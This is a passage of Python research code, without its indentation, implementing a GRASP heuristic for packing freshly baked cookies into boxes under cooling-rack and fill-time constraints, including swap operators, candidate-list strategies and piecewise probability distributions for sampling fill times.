def perform_part_swap(self, solution, rcl_t, i1, i2, mode):
# This function performs the part swap between box i1 and i2
# Get swap points
if mode == 'moveheat':
movetobin2, movetobin1 = self.get_heat_swap_sets(solution, i1, i2)
else:
movetobin2, movetobin1 = self.get_random_swap_sets(solution, i1, i2)
if movetobin2:
kwargs = {'i1': i1, 'movetobin2': movetobin2,
'i2': i2, 'movetobin1': movetobin1}
solution, rcl_t = \
self.make_swap_happen(solution, rcl_t, **kwargs)
else:
solution, rcl_t = self.split_bin(solution, rcl_t)
return solution, rcl_t
def make_swap_happen(self, solution, rcl_t, i1, movetobin2, i2, movetobin1):
# This function swaps a portion of box i1 with box i2
# potentially fix this: adapt rcl_t all at once instead of cookie by cookie
tfill = solution.gettfill()
for j in movetobin2:
solution.moveitem(i1, j, i2)
rcl_t.adapt_movebins(tfill[i1], tfill[i2])
for j in movetobin1:
solution.moveitem(i2, j, i1)
rcl_t.adapt_movebins(tfill[i2], tfill[i1])
return solution, rcl_t
def get_heat_swap_sets(self, solution, i1, i2):
# This function returns sets of cookies meant to reduce overall heat
# between boxes
vlrep = solution.getvlrep()
tfill = solution.gettfill()
# Determine eligible cookies
bini1_options = [j for j in vlrep[i1] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i2]]
bini2_options = [j for j in vlrep[i2] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i1]]
# Pick random swap sets
min_box_fill = min(len(vlrep[i1]), len(vlrep[i2]))
max_swap = min(len(bini1_options), len(bini2_options), min_box_fill - 1)
swap_number = random.randint(1, max_swap)
movetobin2 = bini1_options[-swap_number:]
movetobin1 = bini2_options[:swap_number]
return movetobin2, movetobin1
def get_random_swap_sets(self, solution, i1, i2):
# This function returns a random set of cookies to swap between boxes.
vlrep = solution.getvlrep()
tfill = solution.gettfill()
# Determine eligible cookies
bini1_options = [j for j in vlrep[i1] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i2]]
bini2_options = [j for j in vlrep[i2] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i1]]
# Pick random swap sets
min_box_fill = min(len(vlrep[i1]), len(vlrep[i2]))
max_swap = min(len(bini1_options), len(bini2_options), min_box_fill - 1)
swap_number = random.randint(1, max_swap)
movetobin2 = random.sample(bini1_options, swap_number)
movetobin1 = random.sample(bini2_options, swap_number)
return movetobin2, movetobin1
def getpoints_4swap(self, binitems1, t1, binitems2, t2):
# This function returns two points to perform the swap on
# Retrieve boolean lists
bool1 = self.moop.packatt(binitems1, t2)
bool2 = self.moop.packatt(binitems2, t1)
p1 = self.get_swap_point(bool1)
p2 = self.get_swap_point(bool2)
# If no swap point, return false
if not p1 or not p2:
return None, None
# Check for capacity violations
newbin1 = binitems1[:p1] + binitems2[p2:]
if len(newbin1) > self.moop.boxcap:
p2 = self.get_new_swap_point(binitems1, p1, binitems2, bool2)
newbin2 = binitems2[:p2] + binitems1[p1:]
if len(newbin2) > self.moop.boxcap:
p1 = self.get_new_swap_point(binitems2, p2, binitems1, bool1)
# Return the lists of cookies to be swapped
movetobin2 = list(binitems1[p1:])
movetobin1 = list(binitems2[p2:])
return movetobin2, movetobin1
def get_swap_point(self, booli):
# This function finds a feasible point to swap with another box
# Find starting point for bin i
starti = self.findstartforswap(booli)
if starti == len(booli):
return False
else:
pi = random.randrange(starti, len(booli))
return pi
def get_new_swap_point(self, bin_into, p1, bin_outta, bool_outta):
# This function finds a swap point that won't violate bin_into's capacity
can_accept = self.moop.boxcap - len(bin_into[:p1])
p2 = self.get_swap_point(bool_outta)
kappa = 10
while len(bin_outta[p2:]) > can_accept:
# If can't find point, only swap one item
if kappa == 10:
return len(bin_outta) - 1
p2 = self.get_swap_point(bool_outta)
return p2
def findstartforswap(self, boollist):
# This function returns the index after which all values are True
start = 1
for k in range(len(boollist) - 1, 0, -1):
if boollist[k] is False:
start = k + 1
return start
return start
def move_cookies(self, k, searchfrom):
# This function selects two random bins and tries to move cookies between
# them. If unsuccessful, it splits the highest capacity bin.
u = searchfrom.getfits()
r, rcl_t = self.getresiduals(searchfrom.getvlrep(), searchfrom.gettfill())
copy = deepcopy(searchfrom)
for s in range(searchfrom.openbins):
mode = random.choice(['moveheat', 'movelate'])
i1, i2 = self.get_hot_empty_bins(copy, mode)
if i2 == None or len(copy.vlrep[i2]) == self.moop.boxcap:
newsol, rcl_t = self.split_bin(copy, rcl_t)
else:
kwargs = {'i1': i1, 'i2': i2, 'mode': mode}
newsol, rcl_t = self.perform_cookie_move(copy, rcl_t, **kwargs)
# Will return None if it's dominated by vector u
nondominated = self.check4nondomination(u, newsol)
k += 1
if nondominated:
return k, newsol, rcl_t
# If a nondominated solution wasn't found, return nothing
return k, None, rcl_t
def perform_cookie_move(self, solution, rcl_t, i1, i2, mode):
# This function performs the move of one cookie from box i1 to i2
tfill = solution.gettfill()
vlrep = solution.getvlrep()
# Get cookies to swap
bini1_options = [j for j in vlrep[i1] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i2]]
empty_space = self.moop.boxcap - len(vlrep[i2])
max_move = min(empty_space, empty_space // 2 + 1, len(bini1_options))
nmove = random.randint(1, max_move)
for k in range(nmove):
j1 = bini1_options[-1 - k]
solution.moveitem(i1, j1, i2)
return solution, rcl_t
def select_two_bins(self, solution, mode):
# This module selects two bins for swap using specified function
vlrep = solution.getvlrep()
tfill = solution.gettfill()
if mode == 'moveheat':
i1, i2 = self.get_hot_cold_bins(vlrep, tfill, solution.getq0bins())
elif mode == 'movelate':
i1, i2 = self.get_hot_cold_bins(vlrep, tfill, solution.gettavail())
else:
# Pick random bins
i1, i2 = self.get_two_random_bins(vlrep, tfill)
return i1, i2
def get_hot_cold_bins(self, vlrep, tfill, characteristic):
# This function returns the indices of the hottest bin and the coldest
# bin that are compatible
m = len(vlrep) # number of open bins
ilist_hot = np.argsort(characteristic[:m])
for kh in range(m):
i_hot = ilist_hot[-1 - kh]
for kc in range(m - kh):
i_cold = ilist_hot[kc]
if i_hot != i_cold:
compatible = self.good_match(vlrep, tfill, i_hot, i_cold)
if compatible:
return i_hot, i_cold
return None, None
def get_hot_empty_bins(self, solution, mode):
# This function returns the indices of the hottest bin compatible with
# the emptiest bin
m = solution.getopenbins()
vlrep = solution.getvlrep()
tfill = solution.gettfill()
i2 = self.getminbin(vlrep)
if mode == 'moveheat':
ilist_hot = np.argsort(solution.getq0bins()[:m])
else:
ilist_hot = np.argsort(solution.gettavail()[:m])
for k in range(m):
i_hot = ilist_hot[-1 - k]
compatible = self.good_match(vlrep, tfill, i_hot, i2,
ignore_length=True)
if compatible:
return i_hot, i2
return None, None
def get_two_random_bins(self, vlrep, tfill):
# This function returns two individual random bins that can swap cookies
bin_pairs = list(combinations(range(len(vlrep)), 2))
for bp in range(len(bin_pairs)):
i1, i2 = random.choice(bin_pairs)
can_swap = self.good_match(vlrep, tfill, i1, i2)
if can_swap:
return i1, i2
return None, None
def good_match(self, vlrep, tfill, i1, i2, ignore_length=False):
# This function returns True if i1 and i2 are a good match for swapping
# and False if they are a bad match
if i1 == i2:
return False
if not ignore_length:
if len(vlrep[i1]) <= 1 or len(vlrep[i2]) <= 1:
return False
list1 = [j for j in vlrep[i1] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i2]]
if not list1:
return False
list2 = [j for j in vlrep[i2] if self.cookies.get(j).getbatch()
* self.moop.tbatch < tfill[i1]]
if not list2:
return False
# If made it past conditions, return True
return True
def getrandombin(self, vlrep):
# This function returns a random bin with more than one item in it
bins = range(len(vlrep))
bini = random.choice(bins)
while len(vlrep[bini]) <= 1:
bini = random.choice(bins)
return bini
def getrandsecondbin(self, i1, vlrep, tfill):
# This function returns a second random bin that is not
# bin i1 and that items in bin i1 can be moved to
i2 = random.choice(range(len(vlrep)))
kappa = 1
while not self.good_match(vlrep, tfill, i1, i2):
if kappa == len(vlrep):
return None
i2 = random.choice(range(len(vlrep)))
kappa += 1
return i2
def getmaxbin(self, vlrep):
# This function returns the index of the fullest bin.
bincapacity = np.zeros(len(vlrep))
for i in range(len(vlrep)):
bincapacity[i] = len(vlrep[i])
bini = np.argmax(bincapacity)
return bini
def getminbin(self, vlrep):
# This function returns the index of the emptiest bin.
bincapacity = np.zeros(len(vlrep))
for i in range(len(vlrep)):
bincapacity[i] = len(vlrep[i])
minbin = np.argmin(bincapacity)
return minbin
def getresiduals(self, vlrep, tfill):
# This function calculates the residual matrix associated with a given
# dynamic bin packing loading. The first column represents the open box
# capacities, and the second column represents the maximum number of
# cookies that can be added to the cooling rack right before tfill_i
coolrack = self.moop.coolrack
r = np.zeros((self.n, 2), dtype=np.int)
# Set box capacity residuals
for i in range(len(vlrep)):
r[i, 0] = self.moop.boxcap - len(vlrep[i])
r[i, 1] = coolrack
# Set cooling rack capacity residuals
n_b = self.n // self.moop.nbatches
rcl_t = RCLtime(coolrack, self.moop.fillcap, n_b,
self.moop.tbatch, self.moop.nbatches)
r[:len(vlrep), 1] = rcl_t.initialize_withtfill(len(vlrep), vlrep, tfill)
return r, rcl_t
def update_spaceresiduals(self, r, i, inew):
# This function updates the space residual r after a cookie moves
# from box i to box inew
# Update r: box capacity
r[i, 0] += 1
r[inew, 0] -= 1
return r
def check4nondomination(self, u, solution):
# Check if modified solution is nondominated
solution = self.checkandfit(solution)
v = solution.getfits()
if not dom2(u, v):
return True
else:
return False
def countonrack(self, t, solution):
# Cookies from boxes filled after t might be on rack
vlrep = solution.getvlrep()
tfill = solution.gettfill()
timecheckindices = np.where(tfill > t)
nrackitems = 0
for i in timecheckindices[0]:
for j in vlrep[i]:
onrack = self.moop.rackij(t, tfill[i], self.cookies.get(j))
nrackitems += onrack
return nrackitems
def calclowerbound(self):
# This function calculates theoretical lower bound for the number of
# bins. It assumes this is the total number of cookies divided by
# the box capacity.
minbins = ceil(float(self.n) / self.moop.boxcap)
self.lb = int(minbins)
def getub(self):
# Returns the upper bound (bin capacity)
return self.moop.boxcap
def getcookies(self):
# Returns the list of items to pack
return self.cookies
def getlb(self):
# Returns the theoretical lower bound
return self.lb
class NewSolution:
# This class performs the GRASP creation of a new solution.
def __init__(self, beta, n, cookies, moop):
self.beta = beta # Cardinality restriction
self.n = int(n) # Number of cookies to sort
self.cookies = cookies # dictionary of item objects
self.moop = moop # Multiobjective problem class
self.m = 0 # initialize open bins count
self.r = np.zeros((n, 2)) # Residual capacity matrix
self.x = np.zeros((n, n), dtype=np.int)
self.y = np.zeros(n, dtype=np.int)
self.vlrep = []
self.tfill = np.zeros(n, dtype=np.float)
# Initialize restricted candidate list
n_b = self.n // self.moop.nbatches
self.rcl_t = RCLtime(moop.coolrack, moop.fillcap, n_b,
moop.tbatch, moop.nbatches)
def make_newsol(self, index, *args):
# This function takes the solution from generate_newsol and creates
# a CookieSol instance.
# Possible args: a newgenes list containing a chromosome representation
# and a suggested tfill.
if args:
self.generate_newsol_from_chromosome(args[0], args[1])
else:
self.generate_newsol()
newsol = solmaker.CookieSol(index, self.x, self.y, self.vlrep, self.tfill)
return newsol
def generate_newsol(self):
# This function generates a new solution from scratch using GRASP
modes = ['ss', 'hload'] # Modes for retrieving new tfill time
self.initialize_greedy_tfill()
self.open_new_bin(0, 0)
# Set strategy for the loading
theta_i = random.random()
for j in range(1, self.n):
rcl_i = self.get_rcl_bins(theta_i, j)
i = random.choice(rcl_i)
if self.y[i] == 0:
self.tfill[i] = self.get_feasible_tfilli(j, modes)
self.open_new_bin(i, j)
else:
self.vlrep[i].append(j)
self.r[i, 0] -= 1
self.rcl_t.adapt_greedy_function_addtobin(self.tfill[i])
self.r[:self.m, 1] = \
self.rcl_t.retrieve_space_by_tfill(self.m, self.tfill)
self.constructx()
def generate_newsol_from_chromosome(self, chrom, tfill_suggested):
# This function generates a new solution based on a given chromosome
modes = ['ss', 'hload'] # Modes for retrieving new tfill time
self.initialize_greedy_tfill(*tfill_suggested)
chrom = self.initialize_first_bin(chrom)
# Set strategy for the loading
theta_i = random.random()
for j in chrom:
rcl_i = self.get_rcl_bins(theta_i, j)
i = random.choice(rcl_i)
if self.y[i] == 0:
self.tfill[i] = self.pick_tfilli(j, modes, tfill_suggested)
self.open_new_bin(i, j)
else:
self.vlrep[i].append(j)
self.r[i, 0] -= 1
self.rcl_t.adapt_greedy_function_addtobin(self.tfill[i])
self.r[:self.m, 1] = \
self.rcl_t.retrieve_space_by_tfill(self.m, self.tfill)
self.constructx()
def initialize_greedy_tfill(self, *args):
# This function initializes t_fill
# Calculate tfill_0 using inverse cdf and set residual capacity
if args:
# args = tfill_suggested
self.tfill[0] = self.rcl_t.pick_suggested_t(args, self.moop.tbatch)
else:
self.tfill[0] = self.rcl_t.get_new_t(self.moop.tbatch)
def initialize_first_bin(self, chrom):
# This function finds the first cookie in list chrom that can be packed
# at tfill[0] and opens the first bin with that cookie
for j in chrom:
if self.moop.cookiedonebaking(j, self.tfill[0]):
self.open_new_bin(0, j)
chrom.remove(j)
return chrom
print('Error: NewSolution picked a time that cannot be filled.')
def pick_tfilli(self, j, modes, tfill_maybe):
# This module tries to use one of the time values from tfill
tmin = self.cookies.get(j).getbatch() * self.moop.tbatch
# If tmin when coolrack is overfull, find least worst solution
tk = self.find_t_in_trange(tmin)
if self.rcl_t.space[tk] <= 0:
t_new = self.rcl_t.find_least_worst_newt(tmin)
return t_new
t_possible = self.get_t_from_oldtfill(tmin, tfill_maybe)
if t_possible:
return t_possible
else:
# If nothing in tfill_maybe worked, return new value:
t_new = self.get_feasible_tfilli(j, modes)
return t_new
def get_t_from_oldtfill(self, tmin, tfill_maybe):
# This function returns a feasible time from tfill_maybe
# First establish tmax based on moving 1 cookie from the rack
tmax = self.rcl_t.get_tmax(tmin, 1)
t_options = np.unique(tfill_maybe)
for i in range(len(t_options)):
if t_options[i] < tmax:
# Avoid reusing a value from tfill_maybe
if t_options[i] not in self.tfill:
if self.rcl_t.time_feasible(t_options[i], tmin):
return t_options[i]
return None
def get_feasible_tfilli(self, j, modes):
# This function locates a new value for tfill[i] that doesn't violate
# rack or fill limits
theta_t = random.randint(0, 1)
tmin = self.cookies.get(j).getbatch() * self.moop.tbatch
# Find fill time for box i
t_new, p_t = self.find_new_time_value(tmin, modes[theta_t])
kappa = 0 # Counter to exit loop
# Check if possible to fill in period
while self.rcl_t.res_fill[p_t] < 1:
if kappa == 10:
return None
# If not possible, find new time value
t_new, p_t = self.find_new_time_value(tmin, modes[theta_t])
kappa += 1
return t_new
def find_new_time_value(self, tmin, mode):
# This module retrieves a new time value and also returns which period
# it belongs to
t_new = self.rcl_t.get_new_t(tmin, mode=mode)
t_t = self.find_t_in_fill_periods(t_new)
return t_new, t_t
def find_t_in_fill_periods(self, t):
# If the new time value is beyond the current fill periods, extend
while t > self.rcl_t.t_t[-1]:
self.rcl_t.extend_fill_periods()
# Find the period containing t_new
tlist = np.where(t >= np.array(self.rcl_t.t_t))[0]
return tlist[-1]
def find_t_in_trange(self, t):
# If the new time value is beyond the current timeline, extend
while t > self.rcl_t.trange[-1]:
self.rcl_t.extend_timeline()
tklist = np.where(np.array(self.rcl_t.trange) <= t)[0]
return tklist[-1]
def get_rcl_bins(self, theta_i, j):
# This module selects the strategy based on theta_i and returns
# the corresponding restricted candidate list.
if theta_i < 0.33:
# Least loaded strategy
rcl_i = self.llmove(j)
elif theta_i < 0.66:
# Weighted max strategy
rcl_i = self.wmaxmove(j)
else:
# Combo-t strategy
rcl_i = self.combot_move(j)
# Return either a new bin or the list found above
if not rcl_i:
rcl_i = self.find_alternative_bin(j)
return rcl_i
else:
return rcl_i
def llmove(self, j):
# This module performs the sorting for module ll.
# The goal of this strategy is to balance the loading of the boxes.
rcl_i = []
i_rlowtohigh = np.argsort(self.r[:self.m, 0], axis=0)
# Add new bin as an option if others are starting to get full
if self.r[i_rlowtohigh[-1], 0] <= 0.5 * self.moop.boxcap:
rcl_i.append(self.m)
for k in range(self.m):
# Find open bin with max. residual value, moving backward thru i_rlowtohigh
lli = i_rlowtohigh[- 1 - k]
bcookiej = self.cookies.get(j).getbatch()
pack = packable(self.r[lli, :], bcookiej, self.tfill[lli])
if pack:
rcl_i.append(lli)
if len(rcl_i) == self.beta:
return rcl_i
return rcl_i
def wmaxmove(self, j):
# This module determines the restricted candidate list by the weighted
# max strategy. The goal is to keep the number of boxes to a minimum.
rcl_i = []
# Gather weights: space on rack / maximum space over time
maxval = np.max(self.r[:self.m, 1])
weights = np.zeros(self.m)
for k in range(self.m):
weights[k] = self.r[k, 1] / maxval
# Calculate weighted residuals
wresidual = np.multiply(self.r[:self.m, 0], weights)
i_rlowtohigh = np.argsort(wresidual, axis=0)
for k in range(self.m):
# Find open bin with min. weighted residual value
i = i_rlowtohigh[k]
bcookiej = self.cookies.get(j).getbatch()
pack = packable(self.r[i, :], bcookiej, self.tfill[i])
if pack:
rcl_i.append(i)
if len(rcl_i) == self.beta // 2:
return rcl_i
return rcl_i
def combot_move(self, j):
# This module determines the restricted candidate list by the combo-t
# strategy. The goal is to reduce the maximum time until the boxes
# can be moved to the store front.
n_b = self.n // self.moop.nbatches # Number of cookies per batch
jmax = j - (j % n_b) # Max. cookie no. for heat restriction
rcl_i = []
i_rlowtohigh = np.argsort(self.r[:self.m, 0], axis=0)
# Add new bin as an option after all bins meet a minimum level
if self.r[i_rlowtohigh[-1], 0] <= 0.7 * self.moop.boxcap:
rcl_i.append(self.m)
for k in range(self.m):
# Find open bin with max. residual value
lli = i_rlowtohigh[- 1 - k]
otherbatch = [jo for jo in self.vlrep[lli] if jo < jmax]
# Heat restriction
if (self.r[lli, 0] <= 0.5 * self.moop.boxcap) & \
(len(otherbatch) == 0):
pass
else:
bcookiej = self.cookies.get(j).getbatch()
pack = packable(self.r[lli, :], bcookiej, self.tfill[lli])
if pack:
rcl_i.append(lli)
if len(rcl_i) == self.beta:
return rcl_i
return rcl_i
def open_new_bin(self, i, j):
# This module opens a new bin i with cookie j
self.m += 1
self.y[i] = 1
self.vlrep.insert(i, [j])
self.r[i, 0] = self.moop.boxcap - 1
# Adapt Greedy Function (time)
self.rcl_t.adapt_greedy_function_newbin(self.tfill[i])
t_t = self.find_t_in_fill_periods(self.tfill[i])
self.rcl_t.res_fill[t_t] -= 1
self.r[:self.m, 1] = self.rcl_t.retrieve_space_by_tfill(self.m, self.tfill)
def find_alternative_bin(self, j):
# If tmin when coolrack is overfull, find least worst solution
tmin = self.cookies.get(j).getbatch() * self.moop.tbatch
tk = self.find_t_in_trange(tmin)
if self.rcl_t.space[tk] <= 0:
# Find least-worst alternative
options = [i for i in range(self.m)
if tmin < self.tfill[i] and self.r[i, 0] > 0]
if options:
return options
else:
return [self.m]
else:
return [self.m]
def constructx(self):
# This function transforms the variable length representation into
# the x-matrix
for i in range(self.m):
for j in self.vlrep[i]:
self.x[i, j] = 1
checkformismatch(self.x, self.vlrep)
class RCLtime:
# This class maintains and updates the restricted candidate list for a
# unique t_fill
def __init__(self, coolrack, fillcap, n_b, tbatch, nbatches):
self.coolrack = coolrack # Cooling rack capacity
self.fillcap = fillcap # Fill period limit
self.n_b = n_b # Number of cookies in one batch
self.tbatch = tbatch # Time to cook one batch
self.nbatches = nbatches # Number of batches cooked
# Set the time range, extend one cycle past last pull
self.trange = [(b + 1) * self.tbatch for b in range(self.nbatches + 1)]
# Space on the cooling rack as a function of time
self.space = [self.coolrack - (b + 1) * self.n_b
for b in range(self.nbatches)]
self.space.append(self.space[-1])
# Include restrictions for period fill limits
n_period = 2 * (nbatches - 1) + 2
self.t_t = [self.tbatch * (1.0 + t / 2.0) for t in range(n_period)]
self.res_fill = [fillcap for _ in range(n_period)]
def initialize_withtfill(self, m, vlrep, tfill):
# This function adds the information from vlrep and tfill
# into the trange and space lists
# First fix the cooling rack related items
r2 = np.zeros(m, dtype=np.int) # Collect residual values
i_lowtohigh = list(np.argsort(tfill[:m], axis=0))
for i in i_lowtohigh:
r2[i] = self.adapt_greedy_function_newbin(tfill[i],
add=len(vlrep[i]))
# Then fix the fill period related items
t_latest = np.amax(tfill)
while t_latest > self.t_t[-1]:
self.extend_fill_periods()
for t in range(len(self.t_t) - 1):
p_t = [i for i in range(m)
if self.t_t[t] <= tfill[i] < self.t_t[t + 1]]
self.res_fill[t] -= len(p_t)
return r2
def pick_suggested_t(self, t_maybe, tmin):
# This function returns a possible starting t-value, first by trying
# the suggested t values in t_maybe, and then by finding a feasible one
for i in range(len(t_maybe)):
if t_maybe[i] < self.trange[-1]:
if self.time_feasible(t_maybe[i], tmin):
return t_maybe[i]
t_new = self.get_new_t(tmin)
return t_new
def time_feasible(self, t, tmin):
# This function checks if time t is feasible to open a new bin
if t < tmin:
return False
while self.trange[-1] < t:
self.extend_timeline()
tk = self.find_t_in_timeline(t)
# To be feasible, the cooling rack cannot be overcrowded
if self.space[tk] > 0:
return self.time_period_feasible(t)
# If overcrowded, return False
return False
def time_period_feasible(self, t):
# This module determines if time value t is valid within period fill
# limit constraints.
if t < self.t_t[0]:
return False
ttlist = np.where(np.array(self.t_t) <= t)[0]
# The number of boxes filled during the period < limit
if self.res_fill[ttlist[-1]] > 0:
return True
else:
return False
def get_new_t(self, tmin, mode='ss', nmove=1, told=None):
# This function returns a random time on the cumulative
# distribution function of space(trange) greater than tmin
t = 0
tmax = self.get_tmax(tmin, nmove)
dist = self.retrieve_pdensityfunction(mode)
c_min = dist.cdf(tmin)
c_max = dist.cdf(tmax)
if c_min == c_max:
return None
k = 0
while round(t) <= tmin or round(t) >= tmax:
rannum = random.uniform(c_min, c_max)
t = dist.ppf(rannum)
k += 1
if k == 10:
return None
return round(t)
def retrieve_pdensityfunction(self, mode):
# This function returns the needed pdf
if mode == 'hload':
dist = PiecewiseLinearPDF(self.trange, self.space)
else:
dist = PiecewisePDF(self.trange, self.space)
return dist
def find_least_worst_newt(self, tmin):
# This function returns the least worst time for a box to be opened
# based on tmin.
tklist = np.where(np.array(self.trange) >= tmin)[0]
max_space = self.space[tklist[0]]
tmax = self.get_tmax(tmin, max_space)
t_new = random.uniform(tmin + 1, tmax)
kappa = 0
while not self.time_period_feasible(t_new):
if kappa == 10:
return tmin + 1.0
t_new = random.uniform(tmin + 1, tmax)
kappa += 1
return round(t_new)
def get_tmax(self, tmin, nmove):
# This function determines if the get_new_t function needs to limit its
# search to a max. value. If not, it returns the last trange value.
tklist = np.where(np.array(self.trange) > tmin)[0]
for tk in tklist:
if self.space[tk] - nmove <= 0:
return self.trange[tk]
# If did not find t_max, and enough space at end of timeline, extend
if self.space[-1] >= nmove:
self.extend_timeline()
return self.trange[-1]
def adapt_greedy_function_newbin(self, t, add=1):
# This function updates the space and trange lists after a new bin is
# opened, add is the space being opened by # of cookies being removed
# If t is larger than the range, add it on to the end
if t > self.trange[-1]:
self.trange.append(t)
self.space.append(self.space[-1])
self.update_space(-1, add=add)
return self.space[-1]
# If the new t is the same as the last t in trange, extend it by some
elif t == self.trange[-1]:
self.update_space(-1, add=add)
self.extend_timeline()
return self.space[-2]
else:
ilist = np.where(np.array(self.trange) >= t)[0]
if t == self.trange[ilist[0]]:
start = ilist[0]
else:
self.trange.insert(ilist[0], t)
self.space.insert(ilist[0], self.space[ilist[0] - 1] + add)
start = ilist[0] + 1
for tk in range(start, len(self.space)):
self.update_space(tk, add=add)
return self.space[ilist[0]]
def adapt_greedy_function_addtobin(self, t):
# This function updates the space and trange lists after a cookie is
# added to a box and removed from the cooling rack at time t
tklist = np.where(np.array(self.trange) >= t)[0]
for tk in tklist:
self.update_space(tk)
return self.space[tklist[0]]
def adapt_movebins(self, t1, t2):
# This function updates the space list after a cookie is moved from
# the box filled at t1 to the one filled at t2
tklist1 = np.where(np.array(self.trange) >= t1)[0]
tklist2 = np.where(np.array(self.trange) >= t2)[0]
tklist = np.setxor1d(tklist1, tklist2)
if t1 == t2:
return self.space[tklist1[0]], self.space[tklist1[0]]
elif t1 < t2:
for tk in tklist:
self.update_space(tk, add=-1)
else:
for tk in tklist:
self.update_space(tk)
return self.space[tklist1[0]], self.space[tklist2[0]]
def adapt_changetime(self, told, tnew, nmove):
# This function updates the trange and space lists to account for a bin
# being filled at tnew instead of told.
# nmove is the size of the box being changed
while tnew > self.trange[-1]:
self.extend_timeline()
tklist1 = np.where(np.array(self.trange) >= told)[0]
tklist2 = np.where(np.array(self.trange) >= tnew)[0]
tklist = np.setxor1d(tklist1, tklist2)
if told < tnew:
for tk in tklist:
self.update_space(tk, add=-nmove)
else:
for tk in tklist:
self.update_space(tk, add=nmove)
self.trange.insert(tklist2[0], tnew)
self.space.insert(tklist2[0], self.space[tklist2[0] - 1] + nmove)
return self.space
def update_space(self, tk, add=1):
# This function updates the space list at time tk, assuming one cookie
# was removed from the cooling rack
self.space[tk] += add
if self.space[tk] > self.coolrack:
self.space[tk] = self.coolrack
def retrieve_space_by_tfill(self, m, tfill):
# This function returns the space residuals matching tfill
r2 = np.zeros(m, dtype=np.int) # Collect residual values
for i in range(m):
ilist = np.where(np.array(self.trange) == tfill[i])[0]
r2[i] = self.space[ilist[0]]
return r2
def find_t_in_timeline(self, t):
tklist = np.where(np.array(self.trange) > t)[0]
tk = tklist[0] - 1
return tk
def extend_timeline(self):
# This function extends trange by one batch time period.
new_tlast = self.trange[-1] + 0.5 * self.tbatch
self.trange.append(new_tlast)
self.space.append(self.space[-1])
def extend_fill_periods(self):
# This function extends t_t by one period
self.t_t.append(self.t_t[-1] + 0.5 * self.tbatch)
self.res_fill.append(self.fillcap)
class PiecewisePDF:
# This class defines a piecewise function along with its pdf and cdf
def __init__(self, trange, space):
self.tchunk = np.ediff1d(trange)
space_array = np.array(space)
for tk in range(len(space_array)):
if space_array[tk] < 0.0:
space_array[tk] = 0.0
area_chunks = np.multiply(self.tchunk, space_array[:-1])
area_total = np.sum(area_chunks)
self.tk = np.array(trange) # time range for distribution
self.pk = space_array / float(area_total) # probability at tk
self.ck = np.cumsum(np.multiply(self.pk[:-1], self.tchunk)) # cumulative probability
self.ck = np.insert(self.ck, 0, 0.0)
def pdf(self, t):
# This function returns the probability at time t
if t < self.tk[0]:
return 0.0
listi = np.where(t < self.tk)
probt = self.pk[listi[0][0] - 1]
return probt
def cdf(self, t):
# This function returns the cumulative probability of quantile t
if t < self.tk[0]:
return 0.0
i = np.where(t == self.tk)[0]
if any(i):
return self.ck[i[0]]
else:
ilist = np.where(t < self.tk)[0]
i1 = ilist[0] - 1
i2 = ilist[0]
slope = (self.ck[i2] - self.ck[i1]) / (self.tk[i2] - self.tk[i1])
p_c = slope * (t - self.tk[i1]) + self.ck[i1]
return p_c
def ppf(self, p):
# This function returns the time associated with percentile p
# This is the inverse cumulative distribution function.
i = np.where(p == self.ck)[0]
if any(i):
return self.tk[i[0]]
else:
ilist = np.where(p < self.ck)[0]
# Linear function: t = (t_high - t_low)/(c_high - c_low)* (p - c_low) + t_low
i1 = ilist[0] - 1
i2 = ilist[0]
slope = (self.tk[i2] - self.tk[i1]) / (self.ck[i2] - self.ck[i1])
return slope * (p - self.ck[i1]) + self.tk[i1]
class PiecewiseLinearPDF:
# This class defines a piecewise function along with its pdf and cdf, with a
# linear increase in probability over each given time range
def __init__(self, trange, space):
self.tk = np.array(trange) # time range for distribution
self.space_array = np.array(space) # space available in each time range
for tk in range(len(self.space_array)):
if self.space_array[tk] < 0.0:
self.space_array[tk] = 0.0
self.tchunk = np.ediff1d(trange) # differences between time values
area_chunks = np.multiply(self.tchunk, self.space_array[:-1])
self.area_total = float(np.sum(area_chunks)) # total area under the space(t) curve
self.ck = np.cumsum(np.divide(area_chunks, self.area_total)) # cumulative probability
self.ck = np.insert(self.ck, 0, 0.0)
def pdf(self, t):
# This function returns the probability at time t
if t < self.tk[0]:
return 0.0
listi = np.where(t < self.tk)[0]
k = listi[0] - 1
# Linear function: probt = [(2 * space(tk) - 0) / (tk+1 - tk) * (t - tk)] / totalarea
slope = 2 * (self.space_array[k]/self.area_total)/self.tchunk[k]
probt = slope * (t - self.tk[k])
return probt
def cdf(self, t):
# This function returns the cumulative probability of quantile t
if t < self.tk[0]:
return 0.0
i = np.where(t == self.tk)[0]
if any(i):
return self.ck[i[0]]
else:
ilist = np.where(t < self.tk)[0]
k = ilist[0] - 1 # index for lower boundary of chunk
slope = 2 * (self.space_array[k] / self.area_total) / self.tchunk[k]
p_c = slope * (t - self.tk[k]) ** 2 / 2 + self.ck[k]
return p_c
def ppf(self, p):
# This function returns the time associated with percentile p
# This is the inverse cumulative distribution function.
i = np.where(p == self.ck)[0]
if any(i):
return self.tk[i[0]]
else:
ilist = np.where(p < self.ck)[0]
# Quad function: t = sqrt(2*(p-c_low)/slope) + t_low
k = ilist[0] - 1
slope = 2 * (self.space_array[k]/self.area_total)/self.tchunk[k]
x = sqrt(2 * (p - self.ck[k]) / slope)
return x + self.tk[k]
def dom2(u, v):
# Determines if fitness vector u dominates fitness vector v
# This function assumes a minimization problem.
# For u to dominate v, every fitness value must be either
# equal to or less than the value in v AND one fitness value
# must be less than the one in v
equaltest = np.allclose(u, v)
if equaltest is True:
# If u == v then nondominated
return False
# less_equal returns boolean for each element u[i] <= v[i]
domtest = np.less_equal(u, v)
return np.all(domtest)
def packable(ri, batch, tfilli):
# This module checks to see if cookie j can fit inside bin i at time tfilli
# Capacity constraints
r1 = ri[0] - 1
r2 = ri[1] - 1
# Time constraint: tbatch = 10 min = 600 s
t_cook = batch * 600
return r1 >= 0 and r2 >= 0 and t_cook < tfilli
def checkformismatch(x, vlrep, out=sys.stdout):
# This function identifies if the given solution does not have an x-matrix
# and a variable length representation that match.
for i in range(len(vlrep)):
for j in vlrep[i]:
if x[i, j] != 1:
out.write('Error: NewSolution is not coordinated on item', j)
def averageLen(lst):
# Calculates the average length of lists inside a list, returns integer value
lengths = [len(i) for i in lst]
